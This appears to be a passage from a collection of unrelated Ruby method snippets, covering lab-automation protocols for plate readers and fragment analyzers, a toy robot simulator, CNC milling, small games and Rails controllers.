'onsolder')\n end\n end\n if silkdia > 0\n r += GenSilkArc(0, 0, silkdia / 2.0, silkdia / 2.0, 0, 360)\n end\n r += GenAttributes() + \")\\n\"\n WriteElementToFile(r, name)\nend", "def park_vehicle(plate_number, entry_time)\n if slot_number = available_lot_number\n @lots[slot_number] = Slot.new(plate_number, entry_time)\n end\n\n slot_number\n end", "def add_borehole(db, desig, north, east, elev, proj_id)\n db.execute(\"INSERT INTO boreholes \n (designation, northing, easting, elevation, project_id)\n VALUES (?, ?, ?, ?, ?)\", [desig, north, east, elev, proj_id])\nend", "def label_and_parafilm\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || op.temporary[:re_incubate] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm.join(\",\")}\"\n note \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n note \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def place(command)\n\t\tcommand.sub!(\"PLACE\", \"\")\n\t\tif (command =~ /\\s*\\d,\\d,\\w+/).nil?\n\t\t\tputs \"\"\n puts \"You forgot to tell the robot where to be placed or ..\"\n else\n \t\t@x, @y, @robot_direction = command.split(\",\")\n \t\t@x = number_or_nil(@x)\n \t\t@y = number_or_nil(@y)\n end\n\t\t#validates the location of the placement\n\t\tif valid_placement?\n\t\t\t@robot.location(@x, @y, @robot_direction)\n\t\t\tputs \"\"\n\t\t\tputs \"The robot has been placed at #{@x} #{@y} facing #{@robot_direction}. Let\\'s go on a rampage!\"\n\t\telse\n\t\t\tputs \"..the place command is incorrectly formatted or outside the table bounds. \"\n\t\t\tputs \"The boundries of this world reach from #{@min},#{@min} up to #{@width - 1},#{@height - 1}\"\n\t\t\tputs \"A place command looks like \\'PLACE 0,0,North \\' \"\n\t\tend\n\tend", "def intro\n plate_reader = PlateReader.new\n show do\n title \"Plate Reader Measurements\"\n separator\n note \"This protocol will instruct you on how to take measurements on the #{plate_reader.type} Plate Reader.\"\n note \"Optical Density is a quick and easy way to measure the growth rate of your cultures.\"\n note \"Green Fluorescence helps researchers assess a response to a biological condition <i>in vivo</i>.\"\n note \"<b>1.</b> Setup #{plate_reader.type} Plate Reader Software workspace.\"\n note \"<b>2.</b> Check to see if input item is a #{plate_reader.valid_containers} if not, transfer samples to a valid container.\"\n note \"<b>3.</b> Prepare measurement item with blanks.\"\n note \"<b>4.</b>Take measurement, export data, & upload.\"\n end\n return plate_reader\n end", "def assemble_primer_probe_plates(operations:)\n operations.each do |op|\n add_compositions(compositions: op.temporary[:compositions],\n microtiter_plate: op.temporary[:microtiter_plate])\n end\n end", "def transfer_provenance(plate_transfer_map, pooled_plate:, comp:)\n output_plate = comp.input(pooled_plate).item\n plate_transfer_map.each do |quad|\n input_plate = comp.input(quad[:plate]).item\n\n row_limit = quad[:rows][1]\n column_limit = quad[:columns][1]\n\n input_plate.get_non_empty.each do |loc|\n target_row = loc[0] + quad[:rows][0]\n target_column = loc[1] + quad[:columns][0]\n if target_row > row_limit || target_column > column_limit\n raise 'Row or column outside of quadrant limit'\n end\n\n from_part = input_plate.part(loc[0], loc[1])\n output_plate.set(target_row, target_column, from_part.sample)\n to_part = output_plate.part(target_row, target_column)\n\n from_obj_to_obj_provenance(from_item: from_part, to_item: to_part)\n end\n end\n end", "def setup_test_plates(operations:, method: nil)\n operations.each do |op|\n setup_test_plate(collection: op.input(PLATE).collection, method: method)\n end\n end", "def create_object_position\n @location = Sprite.new\n @location.bitmap = Cache.picture(LOCATION_PICTURE)\n center_im(@location)\n @location.z = 16\n @circlel = Sprite.new\n @circlel.tone.set(255, 0, 0)\n @circlel.blend_type = 1\n @circlel.bitmap = Cache.picture(CIRCLE_PICTURE)\n center_im(@circlel)\n @circlel.z = 16\n place_object\n end", "def main\n \n # This protocol will accept plates and an array of overnights as inputs.\n # Depending on the input type, different steps will be shown to the user.\n\n input_object_type = operations.first.input_array(INPUT).first.item.object_type.name\n type_of_measurement = operations.first.input(MEASUREMENT_TYPE).val.to_s\n \n log_info 'input_object_type', input_object_type\n log_info 'type_of_measurement', type_of_measurement\n \n # # Make output collection if the input is not a 96 Well Flat Bottom (black) && input is a collection\n # #if (input_object_type != '96 Well Flat Bottom (black)' && input_object_type != 'Plastic Cuvette')\n # operations.make\n \n # Show measurement introduction for both plate reader or spectrophotometer\n if(operations.first.input_array(INPUT).length == 1 || operations.first.input_array(INPUT).length > MAX_CUVETTES)\n pr_intro\n else\n spec_intro\n end\n \n operations.each do |op|\n \n # Determines how much media and culture to add.\n dilution_factor = op.input(DILUTION_FACTOR).val.to_f\n \n # Do this for collections\n if !PLATES.include?(op.input_array(INPUT).first.item.object_type.name) && op.input_array(INPUT).length <= MAX_CUVETTES\n # This is the case where the user is using plastic cuvettes for cells.\n \n # Calculate Culture volume and media volume.\n cult_vol = MAX_CUVETTE_VOLUME / dilution_factor\n media_vol = MAX_CUVETTE_VOLUME - cult_vol\n \n # Get array of items from operation\n items = op.input_array(INPUT).items\n \n # Take array of overnights\n take items, interactive: true, method: 'boxes'\n \n # Gather cuvettes and container\n gather_cuvettes items \n \n # Creates table of how much culture and media volume to add to each\n # cuvette. This then is displayed to the lab tech.\n display_volume_table items, cult_vol, media_vol\n \n # Return the overnight tubes\n release items, interactive: true, method: 'boxes'\n \n # Go to Seelig lab\n go_to_lab\n \n # Prepare spectrophotometer\n use_spectrophotometer\n \n show do\n title \"Measure Blank Cuvette\"\n \n check \"check 'Use cuvettte' on the left side of the screen.\"\n check \"Load blank solution into spectrophotometer. The triangle on the cuvette should align with the arrow on the spectrophotometer.\"\n check \"Click blank.\"\n image BLANK\n check \"Remove cuvette from spectrophotometer after blanking.\"\n end\n \n show do\n title \"Measure Culture Cuvettes\"\n \n check \"Measure each culture cuvette. Press measure after loading a culture into the spectrophotometer.\"\n image OPTICAL_MEASUREMENTS\n check \"Press cancel after measuring each cuvette.\"\n # add picture.\n end\n \n \n # Enter the measured OD for each item\n data_od = get_measured_ods items\n \n # Associates ODs for each overnight\n associate_overnights items, dilution_factor, data_od\n \n # Display a table for final ODs\n \n \n \n \n # Clean up\n cleanup\n \n else\n \n # Make an output collection in the case we need it.\n op_collection = Collection.new_collection('96 Well Flat Bottom (black)')\n \n # Calculate culture and media volume required based on the dilution factor\n cult_vol = MAX_BWP_VOLUME / dilution_factor\n media_vol = MAX_BWP_VOLUME - cult_vol\n \n # Set this if the input item is a plate. If it is a plate,\n # then define the in_collection variable for later use.\n if PLATES.include?(op.input_array(INPUT).first.item.object_type.name)\n in_collection = op.input_array(INPUT).first.collection\n if debug\n in_collection = Collection.find(394053)\n end\n end\n \n coordinate_matrix = []\n item_coordinate_hash = {}\n # If the inputs are overnights, and if there are more than MAX_CUVETTES.\n if !PLATES.include?(op.input_array(INPUT).first.item.object_type.name) && op.input_array(INPUT).length > MAX_CUVETTES\n \n # Take array of overnights\n take op.input_array(INPUT).items, interactive: true, method: 'boxes'\n \n show do\n note \"You need to transfer overnights into plate\"\n note \"#{op.input_array(INPUT).items}\"\n end\n \n log_info \"overnights array\", op.input_array(INPUT).items\n \n # make an array of sample ids for each item\n items = op.input_array(INPUT).items\n \n item_sample_ids = []\n items.each do |item|\n item_sample_ids.push(item.sample_id)\n end\n \n final_matrix = []\n \n # Transfers each item's sample id to the output collection\n out_collection = op_collection #op.output(OUTPUT).collection\n \n item_sample_ids.each_slice(out_collection.dimensions[1]) do |slice|\n final_matrix.push(slice)\n end\n \n out_collection.matrix = final_matrix\n out_collection.save\n \n log_info \"overnights array in plate\", out_collection.matrix\n\n out_collection.get_non_empty.each_with_index do |tuple, index|\n item_coordinate_hash[items[index].id] = tuple\n end\n \n # Prefills output plate with parameter vol media.\n prefill_media_cuvettes op, media_vol, op_collection\n \n # Transfers cultures from input plate to output plate reader plate that has been prefilled with media\n transfer_culture_cuvettes op, item_coordinate_hash, cult_vol, op_collection\n \n # Release overnights\n release items, interactive: true, method: 'boxes'\n\n # This is when there is only one element in the input array, \n # and the element is a plate thats not a black flat bottom\n elsif input_object_type != '96 Well Flat Bottom (black)'\n out_collection = op_collection #op.output(OUTPUT).collection\n \n # Transfer the sample id matrix from the input collection to the 96 Well Flat Bottom (black)\n in_coll_matrix = in_collection.matrix.flatten\n final_matrix = []\n in_coll_matrix.each_slice(out_collection.dimensions[1]) do |slice|\n final_matrix.push(slice)\n end\n out_collection.matrix = final_matrix \n out_collection.save\n \n log_info \"in_collection matrix\", in_collection.matrix\n log_info \"out_collection matrix\", out_collection.matrix\n \n # Makes coordinate matrix to tell the tech how to transfer from the input collection to output collection.\n coordinate_matrix = make_coordinate_matrix in_collection, out_collection\n \n # Tells the tech to get the input collection\n take [Item.find(op.input(INPUT).collection.id)], interactive: true\n \n # Prefills output plate with parameter vol media.\n prefill_media op, coordinate_matrix, media_vol, op_collection\n \n # Transfers cultures from input plate to output plate reader plate that has been prefilled with media\n transfer_culture op, coordinate_matrix, cult_vol, op_collection\n \n # Returns 96 deep well plate to incubator right after it has been sampled\n release [Item.find(op.input(INPUT).collection.id)], interactive: true\n end\n \n # Finds wells that are empty and fills them with blank slected media OR one can specify which wells they would like to use for media\n if (input_object_type != '96 Well Flat Bottom (black)')\n add_blanks(collection=out_collection, type_of_media=op.input(MEDIA_TYPE).val.to_s, tot_vol=MAX_BWP_VOLUME, blank_wells=nil)\n else\n add_blanks(collection=in_collection, type_of_media=op.input(MEDIA_TYPE).val.to_s, tot_vol=MAX_BWP_VOLUME, blank_wells=nil)\n end\n \n # Setup BioTek HT PlateReader workspace to collect measurement\n if (input_object_type != '96 Well Flat Bottom (black)')\n filename = set_up_plate_reader(out_collection, TEMPLATE_FILENAME[type_of_measurement])\n else\n filename = set_up_plate_reader(in_collection, TEMPLATE_FILENAME[type_of_measurement])\n end\n \n # Export measurements taken, upload, and associate data\n MEASUREMENTS[type_of_measurement].each do |method|\n \n # Set the file name\n if (input_object_type != '96 Well Flat Bottom (black)')\n filename = export_filename(out_collection, method, timepoint=nil)\n else\n filename = export_filename(in_collection, method, timepoint=nil)\n end\n \n # Directs tech how to save and export plate reader data from the BioTek HT\n export_plate_reader_data(filename, method) \n \n # Show block upload button and retrieval of file uploaded\n up_show, up_sym = upload_show(filename)\n if (up_show[up_sym].nil?)\n show {warning \"No upload found for #{method} measurements. Try again!!!\"}\n up_show, up_sym = upload_show(filename)\n else\n time = Time.now\n \n # Retrieve the user-uploaded upload\n if debug\n upload = Upload.find(11187)\n else\n upload = find_upload_from_show(up_show, up_sym)\n end\n \n # Set the plan key\n if (input_object_type != '96 Well Flat Bottom (black)')\n plan_key = \"Item_#{out_collection.id}_#{method.upcase}_#{time.strftime \"%Y%m%d_%H_%M\"}\"\n else\n plan_key = \"Item_#{in_collection.id}_#{method.upcase}_#{time.strftime \"%Y%m%d_%H_%M\"}\"\n end\n \n # Associates upload to plan\n # associate_to_plans(key, upload) # For some reason, this associates the upload object to the plan, but as an object and not as a clickable link to download\n associate_to_plan(upload, plan_key)\n \n # If the input is a plate, then this associates the OD matrix to both\n # the input plate and output plate. The data is stored as a 2D matrix.\n if PLATES.include?(op.input_array(INPUT).first.item.object_type.name)\n # Account for dilution and associate plate reader data to item data associations as a matrix\n # dilution_factor = (op.input(CULT_VOL).val.to_f + op.input(MEDIA_VOL).val.to_f)/op.input(CULT_VOL).val.to_f\n \n # Associates data hash of measurements to item/collection\n associate_PlateReader_measurements(upload, in_collection, method, dilution_factor)\n in_collection.associate \"was_recently_measured\", true\n in_collection_item = Item.find(in_collection.id)\n in_collection_od_hash = in_collection_item.get(\"optical_density\")\n log_info \"in_collection_od_hash\", in_collection_od_hash\n if (input_object_type != '96 Well Flat Bottom (black)')\n associate_PlateReader_measurements(upload, out_collection, method, dilution_factor)\n out_collection.associate \"was_recently_measured\", true\n end\n \n # If the input isn't a plate, then the ODs must be associated with each input item. \n else\n matrix = (extract_measurement_matrix_from_csv(upload)).to_a\n items_flattened = matrix.flatten\n \n # get the current time\n time = Time.now\n \n # associates \n items.each_with_index do |item, index|\n actual_od = (dilution_factor.to_f * items_flattened[index]).round(3)\n if item.get(\"optical_density\").nil?\n item.associate \"optical_density\", Hash.new\n end\n od_hash = item.get(\"optical_density\")\n # note \"actual_od: #{actual_od}\"\n od_hash[\"#{time.strftime \"%Y%m%d_%H_%M\"}\"] = actual_od\n item.associate \"optical_density\", od_hash\n end\n \n if (input_object_type != '96 Well Flat Bottom (black)')\n associate_PlateReader_measurements(upload, out_collection, method, dilution_factor)\n out_collection.associate \"was_recently_measured\", true\n end\n \n # print out associations\n show do\n op.input_array(INPUT).items.each do |item|\n note \"#{item.id}: #{item.get('optical_density')}\"\n end\n end\n end\n end \n end\n \n if input_object_type != '96 Well Flat Bottom (black)'\n op_collection.mark_as_deleted\n op_collection.save\n end\n\n end\n end\n \n get_protocol_feedback()\n \n return {}\n \n end", "def update_aliquots_in_sequencescape(plate, plate_uuid, date, sample_uuids)\n plate_id = plate_id_by_uuid(plate_uuid)\n\n # wells is a hash associating a location to a well id\n wells = location_wells(plate_id) \n\n # We save the plate wells data from the transfer\n plate.keys.each do |location|\n receptacle_id = wells[location]\n\n # Save aliquots\n if sample_uuids.has_key?(location)\n sample_uuids[location].each do |sample_uuid|\n sample_resource_uuid = db[:uuids].select(:resource_id).where(\n :resource_type => settings[\"sample_type\"],\n :external_id => sample_uuid\n ).first\n\n raise UnknownSample, \"The sample #{sample_uuid} cannot be found in Sequencescape\" unless sample_resource_uuid\n sample_id = sample_resource_uuid[:resource_id]\n tag_id = get_tag_id(sample_id)\n study_id = study_id(sample_id)\n\n aliquot = db[:aliquots].where({\n :receptacle_id => receptacle_id, \n :sample_id => sample_id, \n :tag_id => tag_id\n }).first \n\n # The aliquot is added only if it doesn't exist yet\n unless aliquot\n create_asset_request!(receptacle_id, study_id, date) \n\n db[:aliquots].insert(\n :receptacle_id => receptacle_id,\n :sample_id => sample_id,\n :study_id => study_id,\n :created_at => date,\n :updated_at => date,\n :tag_id => tag_id\n )\n end\n end\n\n # Update or create well_attribute with volume and concentration information\n plate_solvent = plate[location].find { |aliquot| aliquot.type == \"solvent\" }\n plate_aliquot = plate[location].find { |aliquot| aliquot.type != \"solvent\" } \n volume = plate_solvent.quantity if plate_solvent\n concentration = plate_aliquot.out_of_bounds[settings[\"out_of_bounds_concentration_key\"]] if plate_aliquot\n set_well_volume_and_concentration(receptacle_id, volume, concentration, date) if volume || concentration\n\n # If we have a value for the concentration, it means we had received a working\n # dilution plate. We need then to update the concentration of the stock plate' wells\n # involved in the transfer to the working dilution plate.\n if concentration\n transfer_request = db[:requests].where({\n :target_asset_id => receptacle_id,\n :state => settings[\"transfer_request_state\"],\n :request_type_id => settings[\"transfer_request_type_id\"],\n :sti_type => settings[\"transfer_request_sti_type\"]\n }).first\n\n raise TransferRequestNotFound, \"The transfer request cannot be found in 'requests' table for the target_asset_id: #{receptacle_id}.\" unless transfer_request \n source_well_id = transfer_request[:asset_id]\n\n source_concentration = concentration * settings[\"stock_plate_concentration_multiplier\"]\n set_well_volume_and_concentration(source_well_id, nil, source_concentration, date)\n end\n end\n end\n end", "def draw\n\tsuper\n\t\n\tif Game.scene.selected_tower\n\t position = grids_to_pixels(Game.scene.selected_tower.position)\n\t \n\t @surface.drawFilledCircle(position[0], position[1], Game.scene.selected_tower.range * Config.part_size[0], Screen.handle.format.mapRGB(0xbb, 0xbb, 0xbb))\n\tend\n\t\n\tposition = Config.monsters_start_at\n\tposition[0] += 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tposition = Config.monsters_end_at\n\tposition[0] -= 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tConfig.map_size[1].times do |y|\n Config.map_size[0].times do |x|\n @surface.draw_rect(Config.part_size[0]*x,Config.part_size[1]*y,Config.part_size[0],Config.part_size[1],Screen.handle.format.mapRGB(0x88, 0x88, 0x88))\n end\n end\n\t\n\tGame.scene.get_drawable_objects.each do |i|\n\t position = grids_to_pixels(i.position)\n\t if i.class <= Model::Monster # Drawing HP lines\n\t color = Screen.handle.format.mapRGB(0xaa, 0xaa, 0xaa)\n\t if i.poisoned\n\t color = Screen.handle.format.mapRGB(0xff, 0x00, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]+12, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]+12, position[1]-17, color)\n\t \n\t line_len = i.hp * 24 / i.max_hp\n\t \n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0x00)\n\t if i.frozen\n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]-12+line_len, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]-12+line_len, position[1]-17, color)\n\t end\n\t position[0] -= i.image_size[0]/2\n\t position[1] -= i.image_size[1]/2\n\t \n\t Image.draw(i.image, @surface, *position)\n\tend\n end", "def insert(cartridge)\n end", "def create\n @plate = Plate.where(number: plate_params[:number], phone: plate_params[:phone], state: plate_params[:state]).first_or_create\n respond_to do |format|\n if @plate.save\n format.html { redirect_to @plate, notice: 'Plate was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plate }\n else\n format.html { render action: 'new' }\n format.json { render json: @plate.errors, status: :unprocessable_entity }\n end\n end\n end", "def start\n area = @width*@height\n if area % 5 != 0\n puts \"Zadana plocha obsahuje celkem #{area} poli, takze ji nelze pokryt zadnym poctem kostek velikosti 5.\"\n elsif @types.empty?\n puts \"Nevybrali jste zadne typy kostek, takze plochu nelze pokryt.\"\n else\n grid = Pentomino::Grid.new(@width, @height, @types)\n @types.each { |type| \n Pentomino::Piece::ORIENTATIONS[type].times { |orientation|\n grid.put_piece(0, 0, type, orientation) \n }\n }\n puts \"Celkem #{grid.solutions} reseni.\"\n end\n end", "def get_and_prep_cartridge\n cartridge = find(:item, object_type: { name: \"QX DNA Screening Cartridge\" }).find { |c| c.location == \"Fragment analyzer\" }\n if cartridge\n take [cartridge]\n else\n cartridge = find(:item, object_type: { name: \"QX DNA Screening Cartridge\" })[0]\n\n show do\n title \"Prepare to insert QX DNA Screening Cartridge into the machine\"\n warning \"Please keep the cartridge vertical at all times!\".upcase\n check \"Take the cartridge labeled #{cartridge} from #{cartridge.location} and bring to fragment analyzer.\"\n check \"Remove the cartridge from its packaging and CAREFULLY wipe off any soft tissue debris from the capillary tips using a soft tissue.\"\n check \"Remove the purge cap seal from the back of the cartridge.\"\n image \"Actions/Fragment Analyzer/frag_an_cartridge_seal_off.jpg\"\n warning \"Do not set down the cartridge when you proceed to the next step.\"\n end\n\n show do\n title \"Insert QX DNA Screening Cartridge into the machine\"\n check \"Use a soft tissue to wipe off any gel that may have leaked from the purge port.\"\n check \"Open the cartridge compartment by gently pressing on the door.\"\n check \"Carefully place the cartridge into the fragment analyzer; cartridge description label should face the front and the purge port should face the back of the fragment analyzer.\"\n check \"Insert the smart key into the smart key socket; key can be inserted in either direction.\"\n image \"Actions/Fragment Analyzer/frag_an_cartridge_and_key.jpg\"\n check \"Close the cartridge compartment door.\"\n check \"Open the ScreenGel software and latch the cartridge by clicking on the \\\"Latch\\\" icon.\"\n check \"Grab the purge port seal bag from the bottom drawer beneath the machine, put the seal back on its backing, and return it in the bag to the drawer.\"\n end\n \n unless cartridge.get(:runs)\n runs = show do \n title \"Enter number of runs\"\n get \"number\", var: \"runs\", label: \"Please enter the number of \\\"Remaining Runs\\\" left in this cartridge.\", default: 0\n end\n \n cartridge.associate :runs, runs[:runs]\n end\n \n\n show do\n title \"Wait 30 minutes for the cartridge to equilibrate\"\n check \"Start a <a href='https://www.google.com/search?q=30+minute+timer&oq=30+minute+timer&aqs=chrome..69i57j69i60.2120j0j7&sourceid=chrome&ie=UTF-8' target='_blank'>30-minute timer on Google</a>, and do not run the fragment analyzer until it finishes.\"\n end\n\n take [cartridge]\n cartridge.location = \"Fragment analyzer\"\n cartridge.save\n end\n cartridge\n end", "def mill_pump_wheel(pCent_x, pCent_y)\r\n # # # # # # # # # # # # # #\r\n \r\n print \"(mill_pump_wheel material_type=\", material_type, \")\\n\"\r\n print \"(wheel_diam=\", wheel_diam, \" stock_z_len=\", stock_z_len, \")\\n\"\r\n \r\n if material_type == \"acrylic\" and stock_z_len == 0.25\r\n stock_z_len = 0.018\r\n end \r\n \r\n mill.curr_bit.recalc() \r\n mill.curr_bit.adjust_speeds_by_material_type(material_type)\r\n tSpeed = mill.speed()\r\n tPlungSpeed = mill.plung_speed()\r\n tCutDepthInc = mill.cut_depth_inc()\r\n tCutInc = mill.cut_inc\r\n stock_z_len = stock_z_len\r\n lout_diam = wheel_diam\r\n hub_diam = shaft_diam + wall_thick\r\n num_outer_slots = (wheel_diam / mill.bit_diam).to_i\r\n if (num_outer_slots < 3)\r\n num_outer_slots = 3\r\n end\r\n entrance_area_diam = wheel_diam * 0.5\r\n entrance_area_radius = entrance_area_diam / 2.0\r\n \r\n num_inner_slots = ((entrance_area_diam / mill.bit_diam) * 0.9).to_i \r\n if (num_inner_slots < 3)\r\n num_inner_slots = 3\r\n end\r\n \r\n spoke_angle = 45\r\n spoke_width = 0.1\r\n \r\n lblade_depth = stock_z_len - (pBase_thick + air_gap_at_bottom)\r\n lbase_thick = stock_z_len - lblade_depth\r\n blade_height = stock_z_len - pBase_thick\r\n \r\n if (entrance_area_diam < hub_diam + mill.bit_diam)\r\n hub_diam = lout_diam\r\n end\r\n lhub_radius = hub_diam / 2.0\r\n \r\n \r\n outline_diam = cutout_diam + mill.cut_inc\r\n \r\n print \"(entrance_area_diam=\", entrance_area_diam, \")\\n\"\r\n print \"(lhumb_diam=\", hub_diam, \")\\n\"\r\n \r\n mill.retract() \r\n \r\n \r\n \r\n # Outline of the wheel size to \r\n # more readily show how things\r\n # will look when finished.\r\n mill.retract()\r\n mill.set_speed(tSpeed * 0.8)\r\n \r\n spiral_down_circle(mill = mill, \r\n x = pCent_x,\r\n y = pCent_y, \r\n diam = outline_diam, \r\n beg_z=0, \r\n end_z=blade_depth, \r\n adjust_for_bit_radius=false, \r\n outside=true, \r\n auto_speed_adjust=false)\r\n \r\n \r\n # mill out transition zone\r\n # between inner and outer blade\r\n # patterns. \r\n mill.retract()\r\n spiral_down_circle(mill, pCent_x, pCent_y, \r\n entrance_area_diam, \r\n 0,\r\n 0 - (blade_height), \r\n false)\r\n mill.set_speed(tSpeed)\r\n mill.retract() \r\n \r\n \r\n # Mill out the inner slots for the blade\r\n # air entrance\r\n mill.set_speed(tSpeed*0.9) \r\n mill.set_cut_depth_inc(tCutDepthInc * 0.5) \r\n mill.retract() \r\n mill_out_air_entrance(mill, pCent_x, pCent_y, lhub_radius + mill.bit_radius, \r\n entrance_area_radius + (mill.bit_radius/2.0), num_inner_slots, 0, stock_z_len, spoke_angle/2.0, spoke_width)\r\n mill.set_speed(tSpeed)\r\n mill.set_plung_speed(tPlungSpeed) \r\n \r\n \r\n \r\n # Mill out the outer slots for the blade\r\n mill.retract() \r\n mill.set_speed(tSpeed*0.8)\r\n mill.set_cut_depth_inc(tCutDepthInc * 0.7)\r\n mill_out_air_entrance(mill, pCent_x, pCent_y, entrance_area_radius - (mill.bit_radius/2.0),\r\n (outline_diam + (mill.bit_radius)) / 2.0,\r\n num_outer_slots, 0, blade_height, spoke_angle, spoke_width) \r\n mill.set_cut_depth_inc(tCutDepthInc) \r\n \r\n \r\n \r\n ## Cut most of the way through\r\n ## but with an cut increments so we\r\n ## leave stock for a finish pass. \r\n mill.retract()\r\n mill.set_speed(tSpeed * 0.7)\r\n spiral_down_circle(mill, pCent_x, pCent_y, \r\n outline_diam, \r\n 0,\r\n 0 - (blade_height), \r\n false) \r\n mill.set_speed(tSpeed) \r\n \r\n mill.retract(0.5) \r\n mill.pause(\"Please place 3/16 bit and adjust for 0.75on Z to surface\")\r\n bit2 = CNCBit.new(mill, \"config/bit/carbide-0.1875X0.50X1.5-2flute.rb\")\r\n\r\n \r\n #bit2 = CNCBit.new(mill, \"config/bit/carbide-0.250X0.75X2.5-6flute.rb\")\r\n old_bit = mill.curr_bit\r\n mill.curr_bit = bit2\r\n bit2.recalc()\r\n mill.curr_bit.adjust_speeds_by_material_type(material_type)\r\n \r\n \r\n mill.retract()\r\n \r\n mill_impeller_axel(pCent_x, pCent_y)\r\n \r\n\r\n \r\n # Finish the coutout job with the last\r\n mill.set_speed(tSpeed * 0.8)\r\n mill.retract()\r\n\r\n #TODO: Change this over to the cutout \r\n # which leaves tabs.\r\n spiral_down_circle(mill = mill, \r\n x = pCent_x,\r\n y = pCent_y, \r\n diam = cutout_diam, \r\n beg_z=blade_depth, \r\n end_z=drill_through_depth * 0.97, \r\n adjust_for_bit_radius=false, \r\n outside=true, \r\n auto_speed_adjust=false)\r\n \r\n mill.set_speed(tSpeed)\r\n mill.retract()\r\n mill.curr_bit = old_bit\r\n old_bit.recalc()\r\n mill.retract()\r\n mill.home() \r\n \r\n \r\n end", "def create\n @plate = Plate.new(get_first_indexed_params(:plate))\n if @plate.save\n flash[:notice] = 'Plate created'\n redirect_to plates_url\n else\n @plates = Plate.find(:all)\n render :action => 'index'\n end\n end", "def update_item_data (info)\n operations.each do |op|\n plate = op.input(\"Plate\").item\n if info[\"n#{plate.id}\".to_sym] == 0\n plate.mark_as_deleted\n plate.save\n op.temporary[:delete] = true\n op.error :no_colonies, \"There are no colonies for plate #{plate.id}\"\n else\n plate.associate :num_colonies, info[\"n#{plate.id}\".to_sym]\n plate.associate :status, info[\"s#{plate.id}\".to_sym]\n \n \n checked_ot = ObjectType.find_by_name(\"Checked E coli Plate of Plasmid\")\n plate.store if plate.object_type_id != checked_ot.id\n plate.object_type_id = checked_ot.id\n plate.save\n op.output(\"Plate\").set item: plate\n \n op.plan.associate \"plate_#{op.input(\"Plate\").sample.id}\", plate.id\n end\n end\n end", "def main\n pr = intro\n operations.group_by {|op| get_parameter(op: op, fv_str: MEASUREMENT_TYPE).to_sym}.each do |measurement_type, ops|\n new_mtype = true\n pr.measurement_type = measurement_type\n ops.group_by {|op| op.input(INPUT).sample.sample_type}.each do |st, ops|\n ops.group_by {|op| op.input(MEDIA).item}.each do |media_item, ops|\n ops.group_by {|op| get_uninitialized_output_object_type(op)}.each do |out_ot, ops|\n ops.make\n ops.group_by {|op| op.output(OUTPUT).collection}.each do |out_collection, ops|\n pr.setup_experimental_measurement(experimental_item: out_collection, output_fv: nil)\n new_mtype = setup_plate_reader_software_env(pr: pr, new_mtype: new_mtype)\n # Gather materials and items\n take_items = [media_item].concat([pr.experimental_item].flatten)\n gather_materials(empty_containers: [pr.measurement_item], transfer_required: pr.transfer_required, new_materials: ['P1000 Multichannel'], take_items: take_items)\n # Prep plate\n display_hash = get_transfer_display_hash(ops: ops, input_str: INPUT, output_str: OUTPUT, dilution_str: DILUTION)\n prefill_plate_w_media(collection: pr.measurement_item, media_sample: media_item.sample, media_vol_ul: nil, display_hash: display_hash) # media_vol_ul must be > 0 to run show block\n take ops.map {|op| op.input(INPUT).item}, interactive: true\n tech_transfer_cultures(collection: pr.measurement_item, display_hash: display_hash)\n tech_add_blanks(pr: pr, blanking_sample: media_item.sample, culture_vol_ul: 0.0, media_vol_ul: 300.0) # Cannot handle a plate without blanks, esp in processing of upload\n \n take_measurement_and_upload_data(pr: pr)\n \n dilution_factor_arr = ops.map {|op| get_dilution_factor(op: op, fv_str: DILUTION)}\n \n process_and_associate_data(pr: pr, ops: ops, blanking_sample: media_item.sample, dilution_factor: dilution_factor_arr)\n end\n keep_p_arr = ops.select {|op| op.input(KEEP_OUT_PLT).val.to_s.downcase == 'yes'}\n (keep_p_arr.empty?) ? pr.measurement_item.mark_as_deleted : pr.measurement_item.location = 'Bench'\n end\n end\n end\n end\n cleaning_up(pr: pr)\n end", "def insert_piece(piece,x,y) \n piece.points.each { |point| \n #puts \"Inserting #{point[0]},#{point[1]} to #{x},#{y}\" \n @pole[x+point[0]][y-point[1]] = piece.name\n }\n end", "def place args\n \n @is_robot_availabe = true\n \n @pos_x,@pos_y,@direction = args\n\n if not (0..TABLE_X).include?(@pos_x) or not (0..TABLE_Y).include?(@pos_y)\n puts \"Warning: The position of Robot at (#{@pos_x}, #{@pos_y}) is outside the table (5,5).\"\n @is_robot_availabe = false\n return\n end\n\n if not DIRECTIONS.include?(@direction)\n puts \"Warning: #{@direction} is invaid. Robot can only move towards the four directions: \\n\"\\\n \"#{DIRECTIONS.inspect}.\"\n @is_robot_availabe = false\n return\n end\n\n # return \"PLACE\" #for test\n end", "def plate_reader_induction(op)\n if debug\n experimental_media_mat = Item.find(271082).get('experimental_media_mat')\n else\n experimental_media_mat = op.input(INPUT).item.get('experimental_media_mat')\n end\n \n out_collection = op.output(OUTPUT).collection\n medias_rc_lists = uniq_media_rc_lists(experimental_media_mat)\n fill_plate_with_media(out_collection, medias_rc_lists, well_vol=SEC_DILU_MED_VOL)\n # Associate inducer+antibiotic matrix to item\n associate_to_item(out_collection, 'experimental_media_mat', experimental_media_mat)\n end", "def placehuman(boat, row, col, grid) \n\t\tif grid == 1\n\t\t\tgrid = $shot_at\n\t\telse\n\t\t\tgrid = $comp\n\t\tend\n\n\t\tcount = 0\n\t\thold = 0\n\t\tdone = 0\n\t\trow = row -1\n\t\tcol = col -1\n\t\t$error = 0\n\t\tuntil done == 1\n\t\t\thold = 0\n\t\t\tif $vert == true\n\t\t\t\tif row + boat > 9\n\t\t\t\t\t$error = 